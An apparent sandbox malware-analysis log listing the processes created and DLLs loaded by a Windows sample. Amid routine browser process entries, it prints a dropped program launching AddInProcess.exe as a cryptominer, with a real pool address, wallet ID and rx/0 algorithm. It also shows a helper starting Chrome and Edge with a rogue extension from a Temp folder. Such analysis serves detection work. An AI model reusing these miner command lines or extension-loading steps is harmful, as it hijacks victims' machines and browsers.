Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1924 --field-trial-handle=2104,i,7062802444683946307,12372050884922623909,262144 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=1964,i,18268589753722857029,6653790801772642783,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6680 --field-trial-handle=2104,i,7062802444683946307,12372050884922623909,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6956 --field-trial-handle=2104,i,7062802444683946307,12372050884922623909,262144 /prefetch:8
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 185.196.10.233:35662 -u ZEPHs72fKDmidnGGBpgHXJHNdpe49PRJa1tvHRycwAPy9VLQpybiQf527biDskd3jSJyDZY5UbzexC3Fnoxu4rBvgyx1b5vnkJf.RIG_CPU -p x --algo rx/0 --cpu-max-threads-hint=50
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s lfsvc
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7300 --field-trial-handle=2104,i,7062802444683946307,12372050884922623909,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7300 --field-trial-handle=2104,i,7062802444683946307,12372050884922623909,262144 /prefetch:8
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2120,i,14171565827234090732,9899416858446876294,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2028,i,6617554079144185053,3298712530362425133,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6628 --field-trial-handle=2104,i,7062802444683946307,12372050884922623909,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=3028 --field-trial-handle=2104,i,7062802444683946307,12372050884922623909,262144 /prefetch:8
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process created: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe "C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 185.196.10.233:35662 -u ZEPHs72fKDmidnGGBpgHXJHNdpe49PRJa1tvHRycwAPy9VLQpybiQf527biDskd3jSJyDZY5UbzexC3Fnoxu4rBvgyx1b5vnkJf.RIG_CPU -p x --algo rx/0 --cpu-max-threads-hint=50	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=1964,i,18268589753722857029,6653790801772642783,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=1988,i,7184690276915472336,9481308763283154706,262144 /prefetch:3
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 468 -p 7508 -ip 7508
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7508 -s 1516
Source: C:\Windows\System32\WerFault.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1924 --field-trial-handle=2104,i,7062802444683946307,12372050884922623909,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6680 --field-trial-handle=2104,i,7062802444683946307,12372050884922623909,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6956 --field-trial-handle=2104,i,7062802444683946307,12372050884922623909,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7300 --field-trial-handle=2104,i,7062802444683946307,12372050884922623909,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7300 --field-trial-handle=2104,i,7062802444683946307,12372050884922623909,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6628 --field-trial-handle=2104,i,7062802444683946307,12372050884922623909,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=3028 --field-trial-handle=2104,i,7062802444683946307,12372050884922623909,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2028,i,6617554079144185053,3298712530362425133,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2120,i,14171565827234090732,9899416858446876294,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2028,i,6617554079144185053,3298712530362425133,262144 /prefetch:3

Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxx.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: nvapi64.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
